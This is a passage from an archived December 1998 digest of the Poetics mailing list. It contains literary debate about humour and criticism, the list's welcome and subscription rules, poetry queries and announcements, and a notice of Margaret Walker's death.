with much richer results. But the requirements are more severe. He and I
have discussed this.
As for Perloff, damned if Gab et al didn't seem to be fulfilling in
their own way exactly what she was calling for in her original posts.
She just couldn't handle the heat. And substance wouldn't matter here.
It, more than likely, would just have been ignored.
No one on this list could be blamed for interpreting General Bernstein's
actions as the establishment not being able to take the heat when in
this case it was the establishment that called for the heat and is fond
of criticising, however politely, those other establishments for things
such as censorship. Bernstein has used that very word. Has he not?
Unlike some people on this list, I can say whatever I like precisely
because I have nothing at stake except my own sense of integrity and I
can take that on down the road.
Folks like me develop good ears. Perhaps you should not allow us on the
list in the first place because, from my experience mastery of a subject
or set of ideas has little to do with 'belonging.' Given these
circumstances, to my mind, Gab's responses were legitimate, appropriate
if not quite artistic triumphs and should be addressed as you did, in
the open but on a level playing field.---Carlo Parcelli
Joe Amato/Kass Fleisher wrote:
>
> gg: that's all well & good... but if you wish to play the part of court
> jester, i suggest you have a good long look, again, at the danny kaye
> flick...
>
> ok, now i'm being a shit...
>
> but part of the problem with what you're advocating is that you don't
> account for the recent failure, as some of us would have it, of your
> slapstickery (or whatever)... you find that some of us "don't get" your
> humor, hence you imagine the need to "explain" effigies & the like to us
> (which is something a bit different from clarifying your position)...
>
> it *is* possible, old salt, that some of us just don't appreciate the
> peculiar attributes of *your* mocking sensibility---by which i mean to aver
> that we just don't find it esp. funny, however clever... this is not to say

> we (some of us) don't have a sense of humor... but there is something oddly
> condescending at times about your post(ition)---odd too, b/c in general i
> would assume (self-)mockery could be a great aid in debugging
> pretentiousness... but then, right along with your remarks on the history
> of comedic form, you slip into your roll-call of little chestnuts, from
> celebrating janis (and who among us would not do so?) to the old sympathy
> ploy of evoking the loneliness of the long distance runner...
>
> sorry for the contra & quasi-moral tone of this post, gabe... but mightn't
> you simply go back to the drawing board & find a way to evoke falstaff &
> co. w/o (as i read you) the latent, sometimes blatant, acrimony?... after
> all, this list is not *simply* a performative domain... mself, i feel on
> some occasions that you're just goofing off, but on others it seems to me
> you're using the semblance of same as a mask to get in some real digs... &
> please---please don't try to persuade me that the "gap" or some such
> between these two impressions is the very reality you wish to exploit (not
> least b/c this would clearly constitute protesting too much)...
>
> finally, gabe: if everyone's bark is not all that hard, nor should we ask
> it to be, man...
>
> best, really
>
> joe

--
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↑ Index

16. Jordan Davis
failure
Tue 1 Dec 1998

Moved by Carlo's suggestion that G Gudding's posts "fail" to note the assertion I forget whence originating that Hart Crane's "The Bridge" "failed" --

but wouldn't failure imply something was being attempted? something measurable, something outside parties could agree on?

Criticism can't really be building a consensus all over again, can it? I like the differences I have with you all, they mean something, though I don't like it

when they're mysterious or when they divide attention unjustly -- and no offense to the Anti-Hegemony People, but Gudding's pretty close to Poe, no?

all right, enough questions -- too many questions implies not enough answers and I prefer to protect myself from the discourse here, too -- Jordan

↑ Index

17. A. Jenn Sondheim

Some of "A Cry" by Sara Teasdale, Some of Other Words

Tue 1 Dec 1998

==

Some of "A Cry" by Sara Teasdale, Some of Other Words

Oh, there are eyes that she can see,
  And hands to make her hands rejoice,
But to my lover I must be
    Only a voice.

Oh, there are breasts to bear her head,
  And lips whereon her lips can lie,
But I must be till I am dead
    Only a cry.

Oh, there are words that she can hear,
  And words that she returns to me,
But I must be for lock and weir
    Only a key.

Only a key, a voice, at night,
For my life goes locked across the wires,
And I have neither sound nor sight
And he is there, and there are pyres

Burning brilliantly my bones,
And there are fires out of sight,
And I will die on these dark stones,
My words are lost against his light.

And she shall never hear from me,
Through bridge and router, eternally.

↑ Index

18. R.Gancie/C.Parcelli

Re: failure

Tue 1 Dec 1998

Crane's The Bridge fails as done Pound's Canto's and Duncan's
Groundwork. But there are failures and then there are failures e.g.
Williams' Paterson where the good doctor is decidedly out of his depth,
so to speak. Gab's failure is however of a different order of all those
above. But I don't care. In my book, he should be given every
opportunity to fail/succeed/engage/disengage.
And then there is success, which doesn't imply superiority to failure.
But when huge artistic ambition and success, call it completion perhaps,
conflate---Oh, Joyce! Oh, Wake!---Carlo Parcelli
By the Bo-. Did you folks know that our managing editor of FlashPoint,
Jack Foley, wrote a book length unpublished study of Crane? Since
there's so much interest in Crane, maybe I can convince him to publish
it (or at least a piece of it) in an upcoming issue.
Jordan Davis wrote:
>
> Moved by Carlo's suggestion that G Gudding's posts "fail" to note the
> assertion I forget whence originating that Hart Crane's "The Bridge"
> "failed" --
>
> but wouldn't failure imply something was being attempted? something
> measurable, something outside parties could agree on?
>
> Criticism can't really be building a consensus all over again, can it? I
> like the differences I have with you all, they mean something, though I
> don't like it
>
> when they're mysterious or when they divide attention unjustly -- and no
> offense to the Anti-Hegemony People, but Gudding's pretty close to Poe, no?
>
> all right, enough questions -- too many questions implies not enough answers
> and I prefer to protect myself from the discourse here, too -- Jordan

--
ÐÏ à¡± á

↑ Index

19. Mark Prejsnar
Superior people
Tue 1 Dec 1998

On Tue, 1 Dec 1998, R.Gancie/C.Parcelli wrote:

> *Unlike some people on this list, I can say whatever I like precisely because I have nothing at stake except my own sense of integrity and I can take that on down the road.*
> *Folks like me develop good ears. Perhaps you should not allow us on the list in the first place because, from my experience mastery of a subject or set of ideas has little to do with 'belonging.'*

What are "folks" like Carlo like? How did they get to be so much better than ordinary mortals, and to have such a sense of integrity?

It must be great to have all that impressive mastery.

Perhaps, far from not allowing 'em on the List, we should hand it over to them! from the above passage it would appear that they're the only ones with sufficient "mastery" to run things!!

↑ Index

20. Poetics List
Welcome to Poetics List
Tue 1 Dec 1998

A reminder (and as stated below):

*Do not send attachments to the list
*Do not include the whole text of the post to which you are responding
*Notices of new publications are welcome.

Note that this welcome message has been revised 12/1/98.

****
(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month)

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, College of Arts & Science, the State University of New York, Buffalo

Postal Address: Poetics Program, 438 Clemens Hall, SUNY, Buffalo, NY 14260
inquiries: [redacted]

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), with the participation of Loss Pequeño Glazier ([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons
New obstacles for exchange arise
Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently almost 700 subscribers, though all of these subscribers do not necessarily receive messages at any given time.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

We remain committed to promoting the editorial function of this project in all ways available to us. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry or other topics. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

While individual posts of participants are generally sent directly to all subscribers, we reserve the right to review posts before distribution.

We encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below). Such announcements constitute a core function of this list.

Please keep in mind that all posts become part of an on-line archive. *Posting to Poetics is a form of publication, not personal communication.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

We recognize that other lists may sponsor other possibilities for exchange in this still-new medium. We request that those participating in this forum keep in mind the specialized and focussed nature of this project.

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager.
For subscription information contact us at [redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge, but formal registration is required. We ask that when you subscribe you provide your real name, street address, and phone number. All posts to the list must provide real name, as registered. All subscription-related information and correspondence remains confidential.

with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Phill Phillway with your own name; but note: do not use your name to
unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages. _____

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. Subscribers who, in the judgment of the editors, overpost to the list will be asked to limit the number of posts they send.

While relevant excerpts from a post to which you are responding may usefully be appended to your reply, *please do not include in your new post the whole text of a long previously posted message*. As an outside maximum, the listserv is set to accept no more than 5 messages a day from any one subscriber. Participants who post more frequently than these parameters suggest will receive a reminder asking them to limit the volume of their posts.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files. The use of "styled" text or HTML formatting in the body of email posts to the list appears not to be compatible with the the list's automatic digest program and as result such messages disrupt the format of the Digest, even though this coding is readable for some subscribers who do not use the digest option. When sending to the list, please send only "plain text". Note, however, there is no problem with sending clickable URLs in HTML format

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to message blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

or try:

review POETICS by name review POETICS by country

which will give you the list alphabetically by name or a flawed list by country
(since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives,

an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short announcements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication

and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

21. Daniel Kane
Rae Armantrout interview
Tue 1 Dec 1998

There is an interview with Rae Armantrout up on the Teachers & Writers Collaborative "WriteNet" web site. Since the page is devoted to issues specific to teaching poetry to students in grades K-12, Rae talks about ways one can teach the prose poem, and suggests methods for introducing avant-garde work to students (and teachers) that are not fraught with anxiety. Poems Rae talks about include "The Mix Up" and "Wake Up," both from her book _Necromance_.

--daniel

↑ Index

22. Chicago Review
Chicago Review Poetry Reading
Tue 1 Dec 1998

Chicago Review is hosting a poetry reading by
Peter Dale Scott
Monday December 7 at 4:30 pm
Classics 10
1010 E. 59th St. on the University of Chicago campus.

The reading will be followed by a reception.

Scott has recently completed a remarkable trilogy--Coming to Jakarta, Listening to the Candle, and Minding the Darkness--which mixes politics and autobiography, beginning with the 1965 slaughter of more than a half million Indionesians. His brilliant use of collage in the composition of a long poem is clearly in the tradition of Pound, if to very different ends. James Laughlin has said of the first volume in the trilogy: "Not since Robert Duncan's Groundwork and before that William Carlos Williams' Paterson has New Directions published a long poem as important as Coming to Jakarta."

The most recent issue of Chicago Review (44:3 & 4) features a special section on Scott's poem.

If anyone needs directions, more information, etc. feel free to e-mail me.

Devin Johnston

^^^^^^^^^^^^^^^

Chicago Review
The University of Chicago
5801 South Kenwood Avenue
Chicago IL 60637
ph/fax: [redacted]
e-mail: [redacted]

↑ Index

23. Maria Damon (Maria Damon)

stein quite quote

Tue 1 Dec 1998

---

can anyone tell me where i can find stein's famous "a rose is a rose is a rose is a rose"? i know it's several places, i just need one bibl. reference.

↑ Index

24. Maria Damon (Maria Damon)

hejinian query

Tue 1 Dec 1998

---

today in class someone asked how hejinian composed My Life. did she write it sequentially, did she collect sentences from all over and then compile them in an "order," etc?

↑ Index

25. MAYHEW

query

Tue 1 Dec 1998

Does anyone have e-mail adress for Michael Davidson? Please back-channel.

Thanks in advance.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

26. Joe Amato/Kass Fleisher
a measure of peace...
Tue 1 Dec 1998

or perhaps, as k burke once inscribed it, ad bellum purificandum...

it's probably best (as gabe just advised backchan) for *me* to post this exchange...

first gabe (in response to my post to poetix, which was in response to *his* long post), then my response to gabe... hope we can all move on now...

best,

joe

////////

GABE TO ME, backchannel

Dear Joe, I'm afraid that I can't respond frontchannel for a few days but I'd like to reply now so i do so privately. First, thanks, as always, for your gentle replies.

I'm well aware, to my chagrin,t hat much of my humor falls short and that i'm in many eyes nothing more than a boor, and I am also aware that many think i'm just being "performative," (showing off). But that is far from the case: i'm interested, as i've always been, in finding the new, the disturbing, and the unappreciated in poetry, and my interests have long lay in humor. My posts DO have an inquiring purpose: I am indeed mocking myself constantly in my posts: the whole ridiculous posture is MEANT to be self-parody, which, I see you feel, falls short: okay, it falls short: I intend NO slight whatsoever to CB or MP or MD: people expect me to and that's precisely why I wrote #8.

Sometimes,yes, I know my posts "fail," sometimes, though, they do not: I have it on good faith that my posts are welcome by many on the list. More below. On Tue, 1 Dec 1998, Joe Amato/Kass Fleisher wrote:

> *humor, hence you imagine the need to "explain" effigies & the like to us*
> *(which is something a bit different from clarifying your position)...*

when i'm tlaking of effigies there I'm thinking aloud, making a query of the list, trying to elicit addenda or embellishments to these first ideas I've had about all this: look I took CB at his word, to clarify, and I'm trying my best, Joe, I am: I'm not just messing around, but am trying to think here,to do so openly, WHILE attempting (and, I see, often failing) to embody what I'm writing about.

> *it *is* possible, old salt, that some of us just don't appreciate the*
> *peculiar attributes of *your* mocking sensibility---by which i mean to aver*

absolutely absolutely: but coudl you tell me WHY??? I -really-really- want to know, Joe.

> *we (some of us) don't have a sense of humor... but there is something oddly condescending at times about your post(ition)---odd too, b/c in general i would assume (self-)mockery could be a great aid in debugging pretentiousness...*

the whole point is that the pretentiousness is meant to be so darn ridiculous that it's laughable -- in a way that the garden-variety pretension of hte list isnt. I do mean to mock myself first of any.

but then, right along with your remarks on the history
> of comedic form, you slip into your roll-call of little chestnuts, from
> celebrating janis (and who among us would not do so?) to the old sympathy
> ploy of evoking the loneliness of the long distance runner...

None of it's meant to be a ploy: that's who I am, thank you very much.

> *sorry for the contra & quasi-moral tone of this post, gabe... but mightn't you simply go back to the drawing board & find a way to evoke falstaff & co. w/o (as i read you) the latent, sometimes blatant, acrimony?... after*

That acrimony is in MANY MANY of the comments of people on this list to begin with: it's just directed outward at "them." I'm directing it inward at us, via schlocky and often raunchy bad humor. Look, my affiliations are with experimental poetics and poets, with decency in general: when I say I love and admire and read Perloff, Bernstein and Vogel avidly, I MEAN IT!: I DO. I have stated clearly what I don't like about Perloff's work and I have stated clearly, with a tiny history to back it up, why I think it's important she not center much of her criticism around the terms IMportant, Bad Good, Lasting etc.

but that's neither here nor there, no sense rehashing same stuff

> *all, this list is not *simply* a performative domain... mself, i feel on*

I, as I just mentioned, give Many reasons, thumbnail sketches of whole critical milieus, quotes, reasoned argument -- many many many more, in most cases, than those who simply pipe up with Poo-poos -- AND, yes, I also "goof off" -- but I never goof off without a point. I disagree with you there: never without a point (except for the insults to MD and McGrand, but those too I was writing with prose poems in mind: i'm trying recently to work in slapstick elements into my own work,a nd much of that ducharme post has worked its way into a poem of mine "Tippetycanoe Delendum Est," about going postal.

> *some occasions that you're just goofing off, but on others it seems to me you're using the semblance of same as a mask to get in some real digs... &*

I intend in those moments to caricature myself by "going over the top,' indeed if I in fact use negative energy to place that in the reader's mind I also pull it out

and call myself a boor, and if that fails, as you say it does, I'll work on it, I hear you.

> please---please don't try to persuade me that the "gap" or some such
> between these two impressions is the very reality you wish to exploit (not
> least b/c this would clearly constitute protesting too much)...
>
well I spose in places i did just that.

> *finally, gabe: if everyone's bark is not all that hard, nor should we ask it to be, man...*

i think you think i'm some kind of vicious putz: i'm not in the least: i MEAN IT when I say that insult fascinates me: i'm a young guy with a tiny baby daughter a wife a step-child and am in love with life, poetry, and being good: am also, however, fascinated by slapstick. i think i said elsewhere that i don't have a mean bone or ligament in my body: my only problem, joe, and i htink you've pointed this out, is that i think i'm damn funny. good lord. pray for me, joe.

i will write that book: seeif you can't help me with it than!!

with every warm and kind wish, gabe

ME TO GABE, backchannel

gabe, thanx for your kind post...

no---sweet post, really...

now it seems to me---but i can't be sure, b/c it's only me---that if you were to have posted to poetix *anything* like what you've just posted me bc (please don't ask me to explain), nobody would take offense, and not a few folks would think much more highly of you, as i do now... perhaps this is b/c i'm not nearly, mself, as forgiving or as generous as i imply in my various urgings... hell, i'm a LOT less likable in person, if i do say so, have long enjoyed the benefit of email filtering out my more talky, aggressive qualities...

if you like, append this post of mine to your bc post to me, and post the result to poetix as a "dialogue" twixt the two of us... this should help relieve the stress/strain factor on poetix of late, and perhaps do everyone a bit o good...

on the other hand, i'll understand entirely if you choose not to... in any case

peace, best---

joe

↑ Index

27. Aldon Nielsen
Sad News
Tue 1 Dec 1998

> *Date: Mon, 30 Nov 1998 10:49:41 -0500 (Eastern Standard Time)*
> *Reply-To: [redacted]*
> *Sender: [redacted]*
> *From: [redacted] (Trudier Harris)*
> *To: [redacted] (Horton Society)*
> *Subject: Sad News*
> *X-Sender: [redacted]*
> *X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN*
>
> *Dear Horton Society Members:*
>
> *I write to inform you that Margaret Walker died this morning in Chicago. I am told that services will probably be in Jackson, Mississippi. I hope some of us can go. Her appearance with us at the Horton Society Conference in Chapel Hill in April was apparently her last stellar performance, which she *thoroughly" enjoyed. Thank you for being a part of that experience.*
>
> *Please pass along this news to Society members who may not yet have email.*
>
> *Thank you.*
>
> *Trudier Harris*
>
> *P.S. When I receive more details about the service, I will pass them along.*

↑ Index

28. Emily Lloyd
Re: stein quite quote
Tue 1 Dec 1998

In the piece "Sacred Emily," which is in one of the Catharine Stimpson -edited (Library of America) volumes--_Gertrude Stein: Writings 1903-1932_ or _Gertrude Stein: Writings 1932-1946_. Don't know which vol., though--my copy of "Sacred E." having been kindly xeroxed for me by Gwyn McVay... mostly secular emily

On Tue, 1 Dec 1998, Maria Damon (Maria Damon) wrote:

> *can anyone tell me where i can find stein's famous "a rose is a rose is a rose is a rose"? i know it's several places, i just need one bibl. reference.*

↑ Index

29. Christina Fairbank Chirot

Re: Free Poetices & A self examination

Tue 1 Dec 1998

(This is dave baptiste chirot)-- (Apologies for the length--) (Please note, if you are interested in the BLACKBIRD anthology mentioned below, which is visual poetry, essays, poetry, reviews and Holocaust memoirs from artists and poets around the world--all based on one four line poem by Paul Celan--feel free ro ask for more information . . . .) I've been away from this list for several days now. My two younger children were ill and then out of the blue the Ukrainian visualpoet Rafael Livshin and his wife Lilia stopped by for a visit, to exchange news of friends, to share works in various media and exchange addresses of places to send the works to in countries around the globe. This time away from the list (and I often am, not having email at home) gave me time to reflect on what I had written regarding Dr. Perloff and the issues she raised. In the first place, I'm appalled at the post I sent--there are a few interesting points, good ones hopefully, but they are buried beneath a refuse heap of mean sp[irited, ignorant invective--a kind of grand guignol caricature of hooliganism, ignorance and mob noise--there's no clarity, no reason, no sense of exchnage as in an open discusssion-- I'm not writing to apologize or to defend myself and those words. This isn't self criticism in the truly grand manner of the Stalinist Purges nor the Maoist Cultural Revolution. I've seen and heard and studied about enough of these--and they are always present with us--to have no taste at all for such. Self examination however does seem worthwhile, if one is to have any self respect and to be of use through one's life and work in the community of peoples.. That being the case--how did such an appalling bit of malarkey emerge? It might be easy to attribute it to the unconscious, a sudden flowing forth of carefully concealed invective and venom, beneath the "cultivated" surface. No, on reflection I realized that I had fallen for the bait, "seen red" as they say, and like the bull to the cape had charged full force forward . .. The reason I was so angered by Dr. Perloff's post was three simple words: Intolerance, multiculturism, discrimination. I undersdtand Dr. Perloff's points re close reading and (I hope) a literary and critical sense of discrimination (which is sometimes allied to the concept and practice of taste as the work of Bourdieu has demonstrated), I understand these and many of the High Modernist and Formalist issues of critique that Dr. Perloff is invoking. The problem for me, and what made me see red at the time (don't worry, I

calmed down . . .) is that by throwing in the word and issue of multiculturalism (implicity perhaps as a lowering of standards, in the face of which a more rigorous critique is needed)--this linking of the three words made me deeply uneasy. It's very disturbing and needs a far more reasoned and thought out approach than that which I employed in the heat of the moment. (I recall ruefully Tom Mandel's comments re wanting to punch Ed Dorn--and Tom's amnger at Adorno--the difference is Tom expressed himself well . . . was not only passioante but thinking . . .) I'll try to explain as brtiefly as I can my seeing red--to give it a context and to explain my own being appalled at what I wrote within that context, which context includes Dr. Perloff and this list but as well many many other things-- First--at the end of my post I did make one point which is worth thinking about: intolerance/tolerance not as either/or but as both/and. As a mixed race person I encounter this both/and every day of my life--and in dreams and works as well. One is the living presence of one's ancestors' warring with and loving each other. In an odd way just to look into the mirror or see which way you are accepted one way or another--it's an interesting living out of Heraclitus' assertion that strife is the source of what is created, over and over again--an ancient yet living companion to Foucault's posing of power as productive and not solely destructive at the end of the first section of Discipline and Punish. So--this idea of intolerance versus tolerance, to me, is far more complex. And it is an important issue to think on as more and more people living in the USA--the future, really, to be through all these children--are mixed race. This mixing causes as is well known a good deal of "mixing" up so to speak in the canon--and I understood a good deal of Dr. Perloff's post to really be concerned with this issue, hence her argument for a High Modernist intolerance versus the muddied and at times mushy waters of the pc contingent--however, Perloff included multiculturism. This is a not an uncommon argument. (The lowering of standards . . . the need for rigorous readings . . .)I understand the reasons for all this--until they come to intolerance being extended to includes forms of discrimination (in it's doubled sense). One can't but feel the hair rise on the back of oone's neck . . . As to this issue of the canon--intolerance and discrimation at times is a kind of "revolutionary" act--an act of purification (whether a form of militant Puritanism or a Purge is always the danger . . .) I think the arguement is to forward the cause of the poets Perloff steadfastedly has for quite some time. Bob Grumman had at one time called Language centered works "aco-dominant"--and many on this list disagreed. I do as well--I think that the writing Perloff is attempting to advocate is what Raymond Williams would call "emergent" (or Bob might want to call "aco-emergo--dominant")--that is, work which is not yet dominant in the academy, but is steadily working its way toward being so. In this case, Dr. Perloff's intolerance of certain works and types of work, constitutes a very real and very powerful (in the sense that what she says and thinks and writes have had and do

have immense consequences in the academic world--and by extension, to what is known and studied by students around the usa, and to what is considered worthy of being published, anthologized and the like . . .)--constitutes a very real and powerful force, a force whose effects are extensive, yet radiate from one center, and one alone.

So--my two main points, buried in the rubbish heap of cheap vitiriol and disturbing (above all to oneself) attitude --are the issues of intolerance and its extension into and being allied with the canon. As to the context of my seeing red--I thought that over a good deal. There is a context for it, not an excuse nor an apology, but a context, which by my post I contradicted--and that is what does appall and disgust me--not that I acted towards others as I did, but that that the action countermanded much long and hard work of my own.
In the last months I have been involved with various mail art and visual poetry exhibitions, demonstrations and activities--now the catalogues and various other related materials are arriving, bringing with them new invites and so on. One of the packages which arrived about ten days ago was the first printing of BLACKBIRD, edited by David Stone and available from Phoenix Press in Berkeley. (The first pressing of which I have a contributor's copy, is in black and white, the second printing will be in color. For those interested, I will supply the addresss, etc)-- BLACKBIRD iis an anthology of visual poetry, poetry and Holocaust memoirs and essays and reviews based on a poem of four lines by Paul Celan. The idea of the anthologfy is to demonstrate the ungoing presence of poetry despite those who asserted (as did Adorno, though he's not mentioned) that poetry could not be written after the Holocaust. Artists and poets from around the world contributed--there is an extensivce amount of visual poetry--here showing that visual poetry plays an integral part in the poetic continuance of the voices and images of the Holocaust--that there is no end . . .
As well, by dedicating the anthology not soley to "THE Holocaust" alone but to a poet and the Holocaust, this demonstartes the value of poetry in its historical and human rights opposition to intolerance. At the same as BLACKBIRD arrived, I was finishing works for an exhibition for Human Rights in Argentina, had sent statements to accompany works in an exhibition Against Racisme in Vienna and received catalogues of the Chiapas Exhibit organized by Clemente Padin and recieved more news regarding the events in the aftermath of the February exhibit in Santiago, CHILE called STOP (the theme of the exhibit; FREEDOM--DIVERSITY--PLURALISM IN THE TEACHING OF ART) --the show resulted in the firing of the head of the art department and curator of the museum, Dr. Humberto Nilo, not only one of the foremost academics and critics in Chile but as well a great visual poet. Many others involved with the show were thrown out of their jobs and many of the Chilean artists now are in dangers from the government--and to make matters worse there is the issue of

Pinochet . .. Now new petitions are ebeing distriubuted, new works asked for to fight this, to support Dr. Nilo . . . So--these are all activities allying poetry nd the public sphere, in an international setting . . . the consequnces for these actions can at times be very dangerous--not only intolerance of them, but discrimation against them-- In this context I was in the midst of reading Mort a credit by Celine (Death on the Installment Plan)--Celine is one of my favorite writers. Yet reading his work, lurking there, is as well the knowledge of his anti-semiticism, his alliance with the nazis . . I was trying to resolve some of this in relation to my own works against all that Celine stood for in the realm of politics and race--and my own being mixed race . . . So, to see Dr. Perloff's post, instead of continuing with thinking, I just exploded. I would note that I am very familiar with Dr. Perloff's works, not only five of her books but many of her essays as well--those in Sulfar, APR, at the EPC and elsewhere. Being a bibliography nut, I have made much use of Dr. Perloff's valuabale bibliographies, what ever I disagreed with in a text of hers. For my own part, I spent five years being a film, book and music reviewer, regular and freelance, for many papers in Boston. I have been in academia-taught five years altogether, etc and have degrees to tack on after my name when I hang out my shingle . . . I've written critical essays that have been and are to be published--two of them papers given at academic conferences-- This to say, I understand the complexities and issues from not a poet vs. critic stand point--again, I'm both-- A long time ago, around 1911 or so, Marinetti attempted to put forward a critical system of weights and measures. One could say in its own way it was a precursor to Bill James' Sabremetrical ananlyses and abstracts regarding baseball statistics. (A friend of mine and I once thought of trying to apply this to poetry, as a kind of Rube Goldberg experiment . . .)
In the end, what disturbs me is not only this issue of intolernace, of the canon, of racism, of discrimation, of the academy, of poets and non -poets--but the most truly frightening thing of all--that after working so hard and much against all such, one fell immediately into the trap, took up the bait and ran headlong into the burning fire, burning oneself, with indignation and all--yet completley unaware that one was not attacking well armed or with a plan, but filled onself with the bile one was abhorred by . . .

The burning question, then . . .

↑ Index

30. **Bob Haynes**
Re: Sad News
Tue 1 Dec 1998

This was posted on the news wire for those interested:

JACKSON, Miss. (AP) -- Margaret Walker Alexander, who wrote poignantly in poems and the novel ``Jubilee'' about life as a black woman in the Deep South, has died. She was 83.

Ms. Alexander died Monday after battling breast cancer for months.

Her 1942 poem ``For My People'' won the Yale Award for young poets. She wrote: ``Let a new earth rise, Let another world be born, Let a bloody peace be written in the sky, Let a second generation full of courage issue forth, Let a people loving freedom come to growth.''

